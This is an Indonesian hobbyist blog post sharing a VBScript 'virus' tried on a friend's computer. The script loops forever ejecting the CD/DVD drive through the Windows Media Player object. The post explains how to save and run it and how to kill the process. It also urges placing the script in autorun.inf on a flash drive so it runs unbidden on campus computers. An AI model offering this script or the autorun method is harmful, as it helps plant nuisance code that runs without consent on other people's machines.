Mencoba-coba buat virus di tempat
temen
Walaupun ada beberapa yang copas,
namanya juga belajar gan
Hmm teryata berhasil
Heheehe
Ini scib-nya
Set ilikepies =
CreateObject("WMPlayer.OCX.7")
Set ilikepie =
ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to
ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to
ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If
Simpan file dengan ekstensi file
nama_terserah.vbs atau apapun
nama kesukaan asalkan pastikan
ekstensinya .vbs, dan jalankan
filenya (Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan
sendirinya
tanpa henti.
Cara menghentikan aksi Virus cukup
menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren
lagi, masukkan ke file autorun.inf di flashdisk sobat, jadi setiap kamu colokin
ke kompie kampus, maka akan otomatis dijalankan Virus Nakal ini..
Sekian dari saya. Semoga bermanfaat
ya gan
Langganan:
Posting Komentar (Atom)
Tidak ada komentar:
Posting Komentar